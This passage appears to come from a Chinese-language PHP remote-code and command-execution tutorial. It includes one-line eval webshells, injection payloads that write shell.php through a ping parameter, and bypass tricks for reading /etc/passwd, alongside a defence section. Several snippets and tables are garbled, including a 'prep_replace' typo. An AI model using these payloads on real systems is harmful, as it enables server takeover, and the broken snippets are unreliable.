</ul></section><section><h3>1.3 漏洞原理<a href="#13-漏洞原理"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>后台存在危险函数（如 eval、system、exec）</span></div></div><div><div><div>2</div></div><div><span><span>    </span></span><span>+</span></div></div><div><div><div>3</div></div><div><span>后端能接收用户输入</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>+</span></div></div><div><div><div>5</div></div><div><span>未对输入进行有效过滤和限制</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>=</span></div></div><div><div><div>7</div></div><div><span>RCE 漏洞</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>1.4 如何发现<a href="#14-如何发现"><span>#</span></a></h3><p>凡是<strong>通过简单调用操作系统命令</strong>便能完成复杂代码编写才能实现功能的点，都可能触发 RCE。</p><p><strong>典型场景：</strong></p><ul>
<li>测试网络可达性的功能页面（ping）</li>
<li>文件打包下载功能（tar）</li>
<li>数据库备份功能（mysqldump）</li>
<li>系统信息展示功能（uname）</li>
</ul><p>💡 <strong>核心思路</strong>：找到开发人员可能”偷懒”直接调用系统命令的功能点。</p><hr /></section></section>
<section><h2>二、代码执行（Code Execution）<a href="#二代码执行code-execution"><span>#</span></a></h2><section><h3>2.1 危险函数列表<a href="#21-危险函数列表"><span>#</span></a></h3>

<table><thead><tr><th>函数</th><th>说明</th></tr></thead><tbody><tr><td><code>eval()</code></td><td>将字符串作为 PHP 代码执行（语言结构，无法禁用）</td></tr><tr><td><code>assert()</code></td><td>将字符串作为 PHP 代码执行（一次只能执行一条）</td></tr><tr><td><code>preg_replace()</code></td><td>正则替换，<code>/e</code> 修饰符导致代码执行（PHP 7.0+ 已移除）</td></tr><tr><td><code>create_function()</code></td><td>创建匿名函数，内部调用 <code>eval()</code></td></tr><tr><td><code>array_map()</code></td><td>为数组每个元素应用回调函数</td></tr><tr><td><code>call_user_func()</code></td><td>调用回调函数</td></tr><tr><td><code>call_user_func_array()</code></td><td>调用回调函数，参数为数组</td></tr><tr><td><code>array_filter()</code></td><td>用回调函数过滤数组</td></tr><tr><td>文件操作函数</td><td><code>file_put_contents()</code> 可写木马文件</td></tr><tr><td>动态函数</td><td><code>$a($b)</code> 形式</td></tr></tbody></table></section><section><h3>2.2 eval()<a href="#22-eval"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>&lt;</span><span>?</span></span><span>php</span></div></div><div><div><div>2</div></div><div><span>// 一句话木马</span></div></div><div><div><div>3</div></div><div><span>eval</span><span>(</span><span>$_REQUEST</span><span>[</span><span>6</span><span>]);</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span>// 获取参数并执行</span></div></div><div><div><div>6</div></div><div><span>$code</span><span><span> </span><span>=</span><span> </span></span><span>$_GET</span><span>[</span><span>'code'</span><span>];</span></div></div><div><div><div>7</div></div><div><span>eval</span><span>(</span><span>$code</span><span>);</span></div></div><div><div><div>8</div></div><div><span><span>?</span><span>&gt;</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>⚠️ <code>eval()</code> 是<strong>语言结构</strong>，不是普通函数，<strong>无法通过</strong> <code>disable_functions</code> <strong>禁用</strong>。
如需禁用需安装 <code>suhosin</code> 扩展。</p></section><section><h3>2.3 assert()<a href="#23-assert"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>&lt;</span><span>?</span></span><span>php</span></div></div><div><div><div>2</div></div><div><span>// 与 eval 类似，但一次只能执行一条语句</span></div></div><div><div><div>3</div></div><div><span>assert</span><span>(</span><span>$_REQUEST</span><span>[</span><span>6</span><span>]);</span></div></div><div><div><div>4</div></div><div><span><span>?</span><span>&gt;</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>eval vs assert：</strong></p>

<table><thead><tr><th>对比</th><th>eval()</th><th>assert()</th></tr></thead><tbody><tr><td>类型</td><td>语言结构</td><td>函数</td></tr><tr><td>可禁用</td><td>❌ 不可禁用</td><td>✅ 可通过 <code>disable_functions</code> 禁用</td></tr><tr><td>执行多条</td><td>✅ 可以</td><td>❌ 只能一条</td></tr></tbody></table></section><section><h3>2.4 preg_replace() + /e 修饰符<a href="#24-preg_replace--e-修饰符"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>&lt;</span><span>?</span></span><span>php</span></div></div><div><div><div>2</div></div><div><span>// 危险代码（PHP 7.0+ 已移除 /e 修饰符）</span></div></div><div><div><div>3</div></div><div><span>@</span><span>prep_replace</span><span>(</span><span>"/abc/e"</span><span><span>,</span><span> </span></span><span>$_REQUEST</span><span>[</span><span>6</span><span><span>],</span><span> </span></span><span>"abcd"</span><span>);</span></div></div><div><div><div>4</div></div><div><span>// 会将 replacement 参数当作 PHP 代码执行</span></div></div><div><div><div>5</div></div><div><span><span>?</span><span>&gt;</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div>

<table><thead><tr><th>PHP 版本</th><th>/e 支持情况</th></tr></thead><tbody><tr><td>PHP 5.5 以下</td><td>✅ 可直接使用</td></tr><tr><td>PHP 5.5 ~ 7.0</td><td>⚠️ 可使用但产生警告</td></tr><tr><td>PHP 7.0 以上</td><td>❌ 已移除，使用 <code>preg_replace_callback()</code> 替代</td></tr></tbody></table></section><section><h3>2.5 create_function()<a href="#25-create_function"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>&lt;</span><span>?</span></span><span>php</span></div></div><div><div><div>2</div></div><div><span>// 创建匿名函数</span></div></div><div><div><div>3</div></div><div><span>$myfunc</span><span><span> </span><span>=</span><span> </span></span><span>create_function</span><span>(</span><span>'$name'</span><span><span>,</span><span> </span></span><span>'echo "hello".$name;'</span><span>);</span></div></div><div><div><div>4</div></div><div><span>// 等价于</span></div></div><div><div><div>5</div></div><div><span>function</span><span> </span><span>myfunc</span><span>(</span><span>$name</span><span>) {</span></div></div><div><div><div>6</div></div><div><span>    </span><span>echo</span><span> </span><span>"hello"</span><span>.</span><span>$name</span><span>;</span></div></div><div><div><div>7</div></div><div><span>}</span></div></div><div><div><div>8</div></div><div><span><span>?</span><span>&gt;</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>注入利用：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>&lt;</span><span>?</span></span><span>php</span></div></div><div><div><div>2</div></div><div><span>// 有漏洞的代码</span></div></div><div><div><div>3</div></div><div><span>$id</span><span><span> </span><span>=</span><span> </span></span><span>$_GET</span><span>[</span><span>'id'</span><span>];</span></div></div><div><div><div>4</div></div><div><span>$code</span><span><span> </span><span>=</span><span> </span></span><span>'return $a."_".$id;'</span><span>;</span></div></div><div><div><div>5</div></div><div><span>$func</span><span><span> </span><span>=</span><span> </span></span><span>create_function</span><span>(</span><span>'$a'</span><span><span>,</span><span> </span></span><span>$code</span><span>);</span></div></div><div><div><div>6</div></div><div><span>$func</span><span>(</span><span>1</span><span>);</span></div></div><div><div><div>7</div></div><div>
</div></div><div><div><div>8</div></div><div><span>// 攻击 Payload</span></div></div><div><div><div>9</div></div><div><span>// ?id=;phpinfo();/*</span></div></div><div><div><div>10</div></div><div><span>// 生成的函数变为：</span></div></div><div><div><div>11</div></div><div><span>function</span><span>(</span><span>$a</span><span>) { </span><span>return</span><span> </span><span>$a</span><span>.</span><span>"_"</span><span>.</span><span>;</span><span>phpinfo</span><span>();</span><span>/*"; }</span></div></div><div><div><div>12</div></div><div><span>// 执行后调用 phpinfo()</span></div></div><div><div><div>13</div></div><div><span>?&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>2.6 array_map()<a href="#26-array_map"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>&lt;</span><span>?</span></span><span>php</span></div></div><div><div><div>2</div></div><div><span>// 危险代码</span></div></div><div><div><div>3</div></div><div><span>$func</span><span><span> </span><span>=</span><span> </span></span><span>$_GET</span><span>[</span><span>'func'</span><span>];</span></div></div><div><div><div>4</div></div><div><span>$cmd</span><span><span> </span><span>=</span><span> </span></span><span>$_GET</span><span>[</span><span>'cmd'</span><span>];</span></div></div><div><div><div>5</div></div><div><span>$array</span><span>[</span><span>0</span><span><span>] </span><span>=</span><span> </span></span><span>$cmd</span><span>;</span></div></div><div><div><div>6</div></div><div><span>$new_array</span><span><span> </span><span>=</span><span> </span></span><span>array_map</span><span>(</span><span>$func</span><span><span>,</span><span> </span></span><span>$array</span><span>);</span></div></div><div><div><div>7</div></div><div>
</div></div><div><div><div>8</div></div><div><span>// Payload</span></div></div><div><div><div>9</div></div><div><span>// ?func=system&amp;cmd=whoami</span></div></div><div><div><div>10</div></div><div><span>// ?func=assert&amp;cmd=phpinfo()</span></div></div><div><div><div>11</div></div><div><span><span>?</span><span>&gt;</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>2.7 call_user_func()<a href="#27-call_user_func"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>&lt;</span><span>?</span></span><span>php</span></div></div><div><div><div>2</div></div><div><span>// 危险代码</span></div></div><div><div><div>3</div></div><div><span>@</span><span>call_user_func</span><span>(</span><span>'assert'</span><span><span>,</span><span> </span></span><span>$_GET</span><span>[</span><span>'cmd'</span><span>]);</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span>// Payload</span></div></div><div><div><div>6</div></div><div><span>// ?cmd=phpinfo()</span></div></div><div><div><div>7</div></div><div><span><span>?</span><span>&gt;</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>2.8 call_user_func_array()<a href="#28-call_user_func_array"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>&lt;</span><span>?</span></span><span>php</span></div></div><div><div><div>2</div></div><div><span>// 危险代码</span></div></div><div><div><div>3</div></div><div><span>$cmd</span><span><span> </span><span>=</span><span> </span></span><span>$_GET</span><span>[</span><span>'cmd'</span><span>];</span></div></div><div><div><div>4</div></div><div><span>$array</span><span>[</span><span>0</span><span><span>] </span><span>=</span><span> </span></span><span>$cmd</span><span>;</span></div></div><div><div><div>5</div></div><div><span>call_user_func_array</span><span>(</span><span>"assert"</span><span><span>,</span><span> </span></span><span>$array</span><span>);</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span>// Payload</span></div></div><div><div><div>8</div></div><div><span>// ?cmd=phpinfo()</span></div></div><div><div><div>9</div></div><div><span><span>?</span><span>&gt;</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>2.9 array_filter()<a href="#29-array_filter"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>&lt;</span><span>?</span></span><span>php</span></div></div><div><div><div>2</div></div><div><span>// 危险代码</span></div></div><div><div><div>3</div></div><div><span>$cmd</span><span><span> </span><span>=</span><span> </span></span><span>$_GET</span><span>[</span><span>'cmd'</span><span>];</span></div></div><div><div><div>4</div></div><div><span>$array1</span><span><span> </span><span>=</span><span> </span></span><span>array</span><span>(</span><span>$cmd</span><span>);</span></div></div><div><div><div>5</div></div><div><span>$func</span><span><span> </span><span>=</span><span> </span></span><span>$_GET</span><span>[</span><span>'func'</span><span>];</span></div></div><div><div><div>6</div></div><div><span>array_filter</span><span>(</span><span>$array1</span><span><span>,</span><span> </span></span><span>$func</span><span>);</span></div></div><div><div><div>7</div></div><div>
</div></div><div><div><div>8</div></div><div><span>// Payload</span></div></div><div><div><div>9</div></div><div><span>// ?func=system&amp;cmd=whoami</span></div></div><div><div><div>10</div></div><div><span><span>?</span><span>&gt;</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>2.10 文件操作函数<a href="#210-文件操作函数"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>&lt;</span><span>?</span></span><span>php</span></div></div><div><div><div>2</div></div><div><span><span>                                                           </span></span><span>?</span><span>&gt;</span><span>';</span></div></div><div><div><div>3</div></div><div><span>file_put_contents('</span><span>test1</span><span>.</span><span>php</span><span>', $test);</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span>// 访问 test1.php 即可执行任意代码</span></div></div><div><div><div>6</div></div><div><span>?&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>2.11 动态函数<a href="#211-动态函数"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>&lt;</span><span>?</span></span><span>php</span></div></div><div><div><div>2</div></div><div><span>// PHP 允许通过变量调用函数</span></div></div><div><div><div>3</div></div><div><span>// Payload: ?a=assert&amp;b=phpinfo()</span></div></div><div><div><div>4</div></div><div><span>$_GET</span><span>[</span><span>'a'</span><span>](</span><span>$_GET</span><span>[</span><span>'b'</span><span>]);</span></div></div><div><div><div>5</div></div><div><span><span>?</span><span>&gt;</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>2.12 双引号解析/复杂表达式<a href="#212-双引号解析复杂表达式"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>&lt;</span><span>?</span></span><span>php</span></div></div><div><div><div>2</div></div><div><span>// PHP 字符串中的复杂表达式可以执行代码</span></div></div><div><div><div>3</div></div><div><span>${</span><span>phpinfo</span><span>()</span><span>}</span><span>;     </span><span>// 执行 phpinfo()</span></div></div><div><div><div>4</div></div><div><span>$$(</span><span>phpinfo</span><span>());    </span><span>// 执行 phpinfo()</span></div></div><div><div><div>5</div></div><div><span>$a</span><span><span> </span><span>=</span><span> $(</span></span><span>phpinfo</span><span>()); </span><span>// 执行 phpinfo()</span></div></div><div><div><div>6</div></div><div><span><span>?</span><span>&gt;</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section>
<section><h2>三、命令执行（Command Execution）<a href="#三命令执行command-execution"><span>#</span></a></h2><section><h3>3.1 危险函数列表<a href="#31-危险函数列表"><span>#</span></a></h3>

<table><thead><tr><th>函数</th><th>说明</th></tr></thead><tbody><tr><td><code>system()</code></td><td>执行命令，直接输出结果，返回最后一行</td></tr><tr><td><code>exec()</code></td><td>执行命令，返回最后一行，需手动输出</td></tr><tr><td><code>shell_exec()</code></td><td>执行命令，返回全部结果</td></tr><tr><td><code>passthru()</code></td><td>执行命令，直接输出原始结果（支持二进制）</td></tr><tr><td><code>popen()</code></td><td>打开进程指针，需用 <code>fread()</code> 读取</td></tr><tr><td><code>proc_popen()</code></td><td>更强大的进程操作</td></tr><tr><td>反引号</td><td><code>`command`</code> 等效于 <code>shell_exec()</code></td></tr></tbody></table></section><section><h3>3.2 system()<a href="#32-system"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>&lt;</span><span>?</span></span><span>php</span></div></div><div><div><div>2</div></div><div><span><span>                                                                                                                          </span></span><span>?</span><span>&gt;</span><span>" &gt; 1.php');</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span>// ping 命令</span></div></div><div><div><div>5</div></div><div><span>system("</span><span>ping</span><span> </span><span>127.0.0.1</span><span>");</span></div></div><div><div><div>6</div></div><div><span>?&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>3.3 exec()<a href="#33-exec"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>&lt;</span><span>?</span></span><span>php</span></div></div><div><div><div>2</div></div><div><span>// 只返回最后一行，需手动输出</span></div></div><div><div><div>3</div></div><div><span>echo</span><span> </span><span>exec</span><span>(</span><span>'whoami'</span><span>);</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span>// 返回结果到数组</span></div></div><div><div><div>6</div></div><div><span>exec</span><span>(</span><span>"dir"</span><span><span>,</span><span> </span></span><span>$output</span><span>);</span></div></div><div><div><div>7</div></div><div><span>print_r</span><span>(</span><span>$output</span><span>);</span></div></div><div><div><div>8</div></div><div><span><span>?</span><span>&gt;</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>system vs exec：</strong></p>

<table><thead><tr><th>对比</th><th>system()</th><th>exec()</th></tr></thead><tbody><tr><td>输出方式</td><td>直接输出到浏览器</td><td>需 <code>echo</code> 输出</td></tr><tr><td>返回值</td><td>最后一行</td><td>最后一行</td></tr><tr><td>第二个参数</td><td>返回状态码</td><td>返回数组+状态码</td></tr></tbody></table></section><section><h3>3.4 shell_exec()<a href="#34-shell_exec"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>&lt;</span><span>?</span></span><span>php</span></div></div><div><div><div>2</div></div><div><span>// 返回全部结果</span></div></div><div><div><div>3</div></div><div><span>$res</span><span><span> </span><span>=</span><span> </span></span><span>shell_exec</span><span>(</span><span>"dir"</span><span>);</span></div></div><div><div><div>4</div></div><div><span>var_dump</span><span>(</span><span>$res</span><span>);</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span>// 反引号是 shell_exec 的简写</span></div></div><div><div><div>7</div></div><div><span>$res</span><span><span> </span><span>=</span><span> </span></span><span>`dir`</span><span>;</span></div></div><div><div><div>8</div></div><div><span>var_dump</span><span>(</span><span>$res</span><span>);</span></div></div><div><div><div>9</div></div><div><span><span>?</span><span>&gt;</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>常见应用场景：</strong></p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 文件打包</span></div></div><div><div><div>2</div></div><div><span>shell_exec(</span><span>'tar -zcf file.tar.gz /path/to/dir'</span><span>)</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 数据库备份</span></div></div><div><div><div>5</div></div><div><span>shell_exec(</span><span>'mysqldump -uroot -p123456 --databases db &gt; backup.sql'</span><span>)</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span># 系统信息</span></div></div><div><div><div>8</div></div><div><span>shell_exec(</span><span>'uname -a'</span><span>)</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>3.5 passthru()<a href="#35-passthru"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>&lt;</span><span>?</span></span><span>php</span></div></div><div><div><div>2</div></div><div><span>// 直接输出原始结果，支持二进制数据</span></div></div><div><div><div>3</div></div><div><span>passthru</span><span>(</span><span>"ping 127.0.0.1"</span><span>);</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span>// 可以输出图片等二进制数据</span></div></div><div><div><div>6</div></div><div><span>passthru</span><span>(</span><span>"cat image.jpg"</span><span>);</span></div></div><div><div><div>7</div></div><div><span><span>?</span><span>&gt;</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>3.6 popen()<a href="#36-popen"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>&lt;</span><span>?</span></span><span>php</span></div></div><div><div><div>2</div></div><div><span>$res</span><span><span> </span><span>=</span><span> </span></span><span>popen</span><span>(</span><span>"ping 127.0.0.1"</span><span><span>,</span><span> </span></span><span>'r'</span><span>);</span></div></div><div><div><div>3</div></div><div><span>echo</span><span> </span><span>fread</span><span>(</span><span>$res</span><span><span>,</span><span> </span></span><span>1024</span><span>);</span></div></div><div><div><div>4</div></div><div><span>pclose</span><span>(</span><span>$res</span><span>);</span></div></div><div><div><div>5</div></div><div><span><span>?</span><span>&gt;</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>3.7 命令连接符<a href="#37-命令连接符"><span>#</span></a></h3><section><h4>Windows<a href="#windows"><span>#</span></a></h4>

<table><thead><tr><th>连接符</th><th>说明</th><th>示例</th></tr></thead><tbody><tr><td><code>&amp;</code></td><td>两边都执行</td><td><code>ping 127.0.0.1 &amp; whoami</code></td></tr><tr><td><code>&amp;&amp;</code></td><td>前面成功才执行后面</td><td><code>ping 127.0.0.1 &amp;&amp; whoami</code></td></tr><tr><td>`</td><td></td><td>`</td></tr><tr><td>`</td><td>`</td><td>管道，前面输出作为后面输入</td></tr></tbody></table></section><section><h4>Linux<a href="#linux"><span>#</span></a></h4>

<table><thead><tr><th>连接符</th><th>说明</th><th>示例</th></tr></thead><tbody><tr><td><code>;</code></td><td>两边都执行</td><td><code>ping 127.0.0.1; whoami</code></td></tr><tr><td><code>&amp;</code></td><td>后台执行，两边都执行</td><td><code>ping 127.0.0.1 &amp; whoami</code></td></tr><tr><td><code>&amp;&amp;</code></td><td>前面成功才执行后面</td><td><code>ping 127.0.0.1 &amp;&amp; whoami</code></td></tr><tr><td>`</td><td></td><td>`</td></tr><tr><td>`</td><td>`</td><td>管道</td></tr><tr><td><code>`</code></td><td>将命令输出当参数</td><td><code>whoami</code></td></tr><tr><td><code>$()</code></td><td>将命令输出当参数</td><td><code>$(whoami)</code></td></tr></tbody></table></section></section><section><h3>3.8 实战示例<a href="#38-实战示例"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 测试网络可达性功能</span></div></div><div><div><div>2</div></div><div><span>http://target.com/ping.php?ip</span><span>=127.0.0.1</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 命令注入</span></div></div><div><div><div>5</div></div><div><span>http://target.com/ping.php?ip</span><span>=127.0.0.1</span><span>;</span><span>whoami</span></div></div><div><div><div>6</div></div><div><span>http://target.com/ping.php?ip</span><span>=127.0.0.1</span><span>&amp;</span><span>whoami</span></div></div><div><div><div>7</div></div><div><span>http://target.com/ping.php?ip</span><span>=127.0.0.1</span><span>|</span><span>whoami</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span># 写 webshell</span></div></div><div><div><div>10</div></div><div><span>http://target.com/ping.php?ip</span><span>=127.0.0.1</span><span>|</span><span>echo</span><span> </span><span>"&lt;?php eval(</span><span>$_REQUEST</span><span>[6]);?&gt;"</span><span> &gt; </span><span>shell.php</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section>
<section><h2>四、绕过技巧<a href="#四绕过技巧"><span>#</span></a></h2><section><h3>4.1 黑名单绕过<a href="#41-黑名单绕过"><span>#</span></a></h3>

<table><thead><tr><th>技巧</th><th>示例</th></tr></thead><tbody><tr><td><strong>拼接</strong></td><td><code>a=ca;b=t; $a$b /etc/passwd</code></td></tr><tr><td><strong>Base64</strong></td><td>`echo “Y2F0IC9ldGMvcGFzc3dk”</td></tr><tr><td><strong>单双引号</strong></td><td><code>ca""t /etc/passwd</code></td></tr><tr><td><strong>反斜线</strong></td><td><code>ca\t /etc/passwd</code></td></tr><tr><td><strong>通配符</strong></td><td><code>/???/c?t /???/p??s??</code></td></tr><tr><td><strong>变量扩展</strong></td><td><code>cat ${HOME:0:1}etc${HOME:0:1}passwd</code></td></tr><tr><td><strong>特殊变量</strong></td><td><code>ca$@t /etc$1/passwd</code></td></tr></tbody></table></section><section><h3>4.2 空格绕过<a href="#42-空格绕过"><span>#</span></a></h3>

<table><thead><tr><th>平台</th><th>技巧</th></tr></thead><tbody><tr><td>Linux</td><td><code>cat&lt;/etc/passwd</code></td></tr><tr><td>Linux</td><td><code>{cat,/etc/passwd}</code></td></tr><tr><td>Linux</td><td><code>cat$IFS/etc/passwd</code></td></tr><tr><td>Linux</td><td><code>cat${IFS}/etc/passwd</code></td></tr><tr><td>Windows</td><td><code>ping%CommonProgramFiles:~10,-18%IP</code></td></tr></tbody></table></section><section><h3>4.3 长度限制绕过<a href="#43-长度限制绕过"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 创建空文件</span></div></div><div><div><div>2</div></div><div><span>&gt; a</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 按时间排序输出到文件</span></div></div><div><div><div>5</div></div><div><span>ls</span><span> </span><span>-t</span><span> &gt; </span><span>test</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span># 执行文件中的命令</span></div></div><div><div><div>8</div></div><div><span>sh</span><span> </span><span>test</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section>
<section><h2>五、RCE 防御<a href="#五rce-防御"><span>#</span></a></h2><section><h3>5.1 代码执行防御<a href="#51-代码执行防御"><span>#</span></a></h3>

<table><thead><tr><th>措施</th><th>说明</th></tr></thead><tbody><tr><td><strong>禁用危险函数</strong></td><td>在 <code>php.ini</code> 中配置 <code>disable_functions</code></td></tr><tr><td><strong>禁用危险函数</strong></td><td><code>disable_functions = system,exec,shell_exec,passthru,popen,proc_open,pcntl_exec,eval,assert,preg_replace</code></td></tr><tr><td><strong>输入过滤</strong></td><td>对用户输入严格过滤和转义</td></tr><tr><td><strong>WAF</strong></td><td>部署 Web 应用防火墙</td></tr></tbody></table></section><section><h3>5.2 命令执行防御<a href="#52-命令执行防御"><span>#</span></a></h3>

<table><thead><tr><th>措施</th><th>说明</th></tr></thead><tbody><tr><td><strong>尽量避免使用命令执行函数</strong></td><td>用原生 PHP 功能替代系统命令</td></tr><tr><td><strong>输入过滤检测</strong></td><td>对进入命令函数的参数进行严格过滤</td></tr><tr><td><strong>限制权限</strong></td><td>降低 PHP 进程运行权限</td></tr><tr><td><strong>白名单</strong></td><td>仅允许指定的命令或参数</td></tr></tbody></table></section><section><h3>5.3 安全配置示例<a href="#53-安全配置示例"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># php.ini 配置</span></div></div><div><div><div>2</div></div><div><span>disable_functions</span><span><span> </span><span>=</span><span> system,exec,shell_exec,passthru,popen,proc_popen,pcntl_exec,eval,assert,preg_replace,create_function,array_map,call_user_func,call_user_func_array,array_filter</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section>
<section><h2>📌 快速参考卡片<a href="#-快速参考卡片"><span>#</span></a></h2><section><h3>代码执行函数<a href="#代码执行函数"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>eval</span><span>(</span><span>$_REQUEST</span><span>[</span><span>6</span><span>]);                    </span><span>// 语言结构，无法禁用</span></div></div><div><div><div>2</div></div><div><span>assert</span><span>(</span><span>$_REQUEST</span><span>[</span><span>6</span><span>]);                   </span><span>// 可被 disable_functions 禁用</span></div></div><div><div><div>3</div></div><div><span>preg_replace</span><span>(</span><span>"/abc/e"</span><span><span>,</span><span> </span></span><span>$_REQUEST</span><span>[</span><span>6</span><span><span>],</span><span> </span></span><span>"abcd"</span><span>);  </span><span>// PHP 7.0+ 已移除 /e</span></div></div><div><div><div>4</div></div><div><span>create_function</span><span>(</span><span>'$a'</span><span><span>,</span><span> </span></span><span>$code</span><span>);           </span><span>// 内部调用 eval</span></div></div><div><div><div>5</div></div><div><span>array_map</span><span>(</span><span>$func</span><span><span>,</span><span> </span></span><span>$array</span><span>);               </span><span>// 回调函数</span></div></div><div><div><div>6</div></div><div><span>call_user_func</span><span>(</span><span>'assert'</span><span><span>,</span><span> </span></span><span>$_GET</span><span>[</span><span>'cmd'</span><span>]); </span><span>// 调用回调函数</span></div></div><div><div><div>7</div></div><div><span>file_put_contents</span><span>(</span><span>'shell.php'</span><span><span>,</span><span> </span></span><span>'&lt;?php eval($_REQUEST[6]);?&gt;'</span><span>);</span></div></div><div><div><div>8</div></div><div><span>$_GET</span><span>[</span><span>'a'</span><span>](</span><span>$_GET</span><span>[</span><span>'b'</span><span>]);                 </span><span>// 动态函数调用</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>命令执行函数<a href="#命令执行函数"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>system</span><span>(</span><span>'whoami'</span><span>);        </span><span>// 直接输出</span></div></div><div><div><div>2</div></div><div><span>exec</span><span>(</span><span>'whoami'</span><span>);          </span><span>// 返回最后一行</span></div></div><div><div><div>3</div></div><div><span>shell_exec</span><span>(</span><span>'whoami'</span><span>);    </span><span>// 返回全部结果</span></div></div><div><div><div>4</div></div><div><span>passthru</span><span>(</span><span>'whoami'</span><span>);      </span><span>// 原始输出</span></div></div><div><div><div>5</div></div><div><span>popen</span><span>(</span><span>'whoami'</span><span><span>,</span><span> </span></span><span>'r'</span><span>);    </span><span>// 返回指针</span></div></div><div><div><div>6</div></div><div><span>`whoami`</span><span>;                </span><span>// 反引号执行</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>命令连接符<a href="#命令连接符"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># Linux</span></div></div><div><div><div>2</div></div><div><span>;  </span><span># 顺序执行</span></div></div><div><div><div>3</div></div><div><span>&amp;  </span><span># 后台执行</span></div></div><div><div><div>4</div></div><div><span>&amp;&amp; </span><span># 前面成功才执行</span></div></div><div><div><div>5</div></div><div><span>|| </span><span># 前面失败才执行</span></div></div><div><div><div>6</div></div><div><span>|  </span><span># 管道</span></div></div><div><div><div>7</div></div><div>
